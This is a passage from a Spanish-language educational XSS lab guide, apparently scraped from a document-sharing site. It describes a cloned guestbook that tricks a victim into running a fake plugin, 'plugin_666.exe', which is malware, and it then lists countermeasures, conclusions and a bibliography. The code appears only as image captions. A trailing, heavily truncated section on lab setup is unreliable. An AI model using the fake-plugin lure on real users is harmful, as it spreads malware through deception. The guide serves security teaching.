La parte del código marcada en rojo muestra un redireccionamiento cada 20

segundos a otro libro de visitas clonado, con la diferencia que en este no aparece
el mensaje del plugin. El fin de este direccionamiento es habilitarle el uso de un
libro de visitas clonado en paralelo, para minimizar algún tipo de sospecha por
parte de la víctima, logrando que se ingresen datos al supuesto libro de visitas
92
Imagen 126. Fragmento código fuente del archivo index.php
El código que permite que se observe el estilo del mensaje del plugin tal y como
lo muestran normalmente algunas webs es el siguiente.
Imagen 127. Fragmento de código fuente archivo index.php
El siguiente fragmento de código hace referencia a la redacción del mensaje del

plugin con su respectivo link de descarga.
93
Imagen 128. Fragmento de código fuente archivo index.php
Estos dos fragmentos de código, que incluye estilo y link de descarga, nos da el
siguiente efecto.
En esta web clonada se encuentra desactivado el botón enviar, para evitar

cualquier tipo de funcionalidad en la web y obligue de esta forma a la víctima a
descargar y ejecutar el plugin plugin_666.exe.
Imagen 129. Ventana de descarga del archivo plugin_666.exe
Una vez descargado el plugin, la víctima inocentemente procede a ejecutarlo con

el fin de poder tener habilitado el libro de visitas.
94
Imagen 130. Mensaje de confirmación de la infección
Como se puede observar, la víctima cree que está descargando y ejecutando un

plugin cuando realmente está ejecutando un malware.
En condiciones reales la ejecución del malware es trasparente para la víctima.
95
8. CONTRAMEDIDAS
Realizar un análisis del tratamiento de las variables en aplicaciones web, para

detectar posibles inyecciones de código malicioso por vulnerabilidad Cross Site
Scripting.
Una de las herramientas que cumple este tipo de tareas es Microsoft Code
Analysis Tool.NET
Imagen 131. Microsoft Code Analysis Tool.
Fuente: http://zdnet.com
Actualmente se tienen medidas de control de ataques Cross Site Scripting a nivel

de administración, como son el uso de software tipo IDS (Sistema de detección de
Intrusos),
- Mod_security (Firewall)
Imagen 132. Mod_security.
Fuente: http://singlehop.com
96
- PHPIDS
Imagen 133. PHPIDS.
Fuente: http://img.vivaolinux.com.br
- PROXY INVERSO
Imagen 134. Proxy Inverso
Fuente: http://www.haute-disponibilite.net/
Concientizar a programadores y administradores del peligro que representa el no

programar con seguridad o el no dar la importancia que requiere este tipo de
vulnerabilidad, mediante el desarrollo de capacitaciones, talleres prácticos de
seguridad en aplicaciones web, sobre descubrimiento, ataque y defensa frente a
las amenazas
97
CONCLUSIONES
La seguridad absoluta no existe, la seguridad es un proceso continuo y se deben

tener los controles y las medidas adecuadas para mitigar los impactos de las
amenazas existentes en las aplicaciones web.
La concientización sobre la seguridad de la información no es responsabilidad sólo

de programadores o administradores de recursos, es de todo usuario que se
conecta a la gran red de redes.
Los ataques Cross Site Scripting generan un fuerte impacto sobre los usuarios de
aplicaciones web, colocando en riesgo la confiabilidad y la integridad de la
información.
Es importante mantener las aplicaciones web actualizadas con sus respectivos

parches o versiones incluyendo los navegadores.
Los programadores deben tomar con más responsabilidad los agujeros de

seguridad generados por la vulnerabilidad Cross Site Scripting.
La mejor forma de aprender y entender de una manera clara los temas de

seguridad informática, es por medio de laboratorios que te permitan palpar la
realidad de los riegos que actualmente se encuentran en la red y el poder servir de
impulso para próximos proyectos, que deseen usar estos ambientes controlados
como bancos de prueba
98
BIBLIOGRAFIA
COOK, Steven. A Web Developer’s Guide to Cross-Site Scripting, [Sitio en Línea]

Disponible:
http://www.grc.com/sn/files/A_Web_Developers_Guide_to_Cross_Site_Scripting.pdf
[Consulta Enero 2010]
CHEBYTE . HTML: XSS Cross Site Scripting. [Sitio en Línea]. Disponible:

http://www.soulblack.com.ar/repo/papers/minituto-xss.pdf
[Consulta Febrero 2010]
K. Selvamani, Protection of Web Applications from Cross-Site Scripting Attacks in

Browser Side [Sitio en Línea] Disponible:
http://arxiv.org/abs/1004.1769 [Consulta Marzo 2010]
Nacional Cyber Security Division, Recommended Practice Case Study: Cross-Site

scripting, [Sitio en Línea] Disponible:
http://csrp.inl.gov/Documents/xss_10-24-07_Final.pdf
[Consulta Diciembre 2010]
ORJIH Obi, Type 2 Cross-site Scripting: An Attack Demonstration, [Sitio en línea]

Disponible: http://www.cs.wustl.edu/~jain/cse571-07/ftp/xsscript/index.html
0V3RL04D . HTML: XSS: Bypassing de filtros [Sitio en Línea]. Disponible:

http://0verl0ad.blogspot.com/2008/09/xss-bypassing-de-filtros.html
PELLO Xabier Altadill . HTML: Ataques XSS con Java Script [Sitio en Linea].
Disponible: http://4party.cuatrovientos.org/files/xssjavascript.pdf
RSNAKE . XSS (Cross Site Scripting) for filter evasion [Sitio en Linea].Disponible:
http://ha.ckers.org/xss.html
SL4XUZ . HTMLCross Site Scripting [XSS] [Sitio en Línea]. Disponible:

http://www.milw0rm.com/papers/207
ZUCHLINSKI Gavin (2003). HTML: AdvancedXSS.[Sitio en Linea]. Disponible:

http://www.net-security.org/dl/articles/AdvancedXSS.pdf
99

Guia XSS

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Guia XSS

Cargado por

Copyright:

Formatos disponibles

LABORATORIO CROSS SITE SCRIPTING

Autor del Documento: Angelus_7722

4.4 DEFINICIÓN DE TÉRMINOS

La cookie o fichero de texto se implanta en el disco duro del ordenador,

Fuente: Adaptada de http://info.yahoo.com/privacy/es/yahoo/cookies/

Como se decía EasyPHP es un programa que permite disponer de los tres

Fuente: Adaptada de http://www.desarrolloweb.com/articulos/2458.php

Con Javascript se puede crear efectos especiales en las páginas y definir

Virtualización: “La virtualización es una tecnología probada de software que está

El software requerido para la implementación del laboratorio son los siguientes.

Sistema Operativo Windows XP Service Pack 2, se utilizó la versión

VMware Work Station version 7, Para el desarrollo del laboratorio se utilizó la

Estación de Trabajo, las especificaciones técnicas para su buen funcionamiento,

Si se desea utilizar las maquinas virtuales ya creadas y almacenadas en el DVD,

6.1 SERVIDOR VULNERABLE

Fuente: Autor del Proyecto

- Ahora se procede a la instalación del programa Easyphp 1.8 que contiene

Imagen 2. Panel de Control EasyPhp

Fuente: Autor del Proyecto

- Dentro de la carpeta www del Easyphp se encuentra la carpeta serv, lugar

La ubicación exacta es C:\Archivos de programa\EasyPHP1-8\www\serv.

Fuente: Autor del Proyecto

- Lo siguiente que se debe hacer es definir la dirección IP de red con la que

Imagen 4. Acceso al módulo Virtual Network Editor

Fuente: Autor del Proyecto

Se mostrará una nueva ventana en la que se ubicará el tipo de red y conexión

Imagen 5. Editor de Red del VMware

Fuente: Autor del Proyecto

En esta ventana se debe asegurar que los rangos corresponden a la Subnet

Imagen 6. Configuración DHCP

Fuente: Autor del Proyecto

Imagen 7. Panel de Propiedades Protocolo Internet

Fuente: Autor del Proyecto

- Ahora se debe configurar el dominio del Windows XP para el buen

La ubicación exacta es C:\WINDOWS\system32\drivers\etc

Imagen 8. Ubicación Archivo Hosts

En el archivo hosts se debe agregar las direcciones IP de cada una de las

Imagen 9. Configuración archivo Hosts

Fuente: Autor del Proyecto

El siguiente paso es configurar el software Easyphp con la dirección IP de la

Los archivos que debemos configurar son: Apache y PHP.

Imagen 10. Panel configuración del Easyphp

Fuente: Autor del Proyecto

En estos archivos se debe cambiar las direcciones IP 127.0.0.1 por la dirección IP

Imagen 11. Configuración del Apache (IP)

Fuente: Autor del Proyecto

Imagen 12. Configuración del Apache (Hostname)

Fuente: Autor del Proyecto

Imagen 13. Panel de Administración del Esayphp 1.8

Imagen 14. Crear Base de Datos

Fuente: Autor del Proyecto

Ahora se elige la base de datos creada y se da clic en la pestaña SQL y mediante

Imagen 15. Importar Base de Datos desde archivo .sql

Fuente: Autor del Proyecto

Imagen 16. Panel de Configuración Máquina Virtual

Fuente: Autor del Proyecto

- Ahora se procede a la instalación del programa Easyphp 2.0b1 que

Imagen 17. Panel de Control EasyPhp

Fuente: Autor del Proyecto

Ubicación: C:\Archivos de Programa\EasyPHP2.0b1\www

Fuente: Autor del Proyecto

- Ahora se debe configurar el dominio el Windows XP, para el buen

Imagen 19. Ubicación Archivo Hosts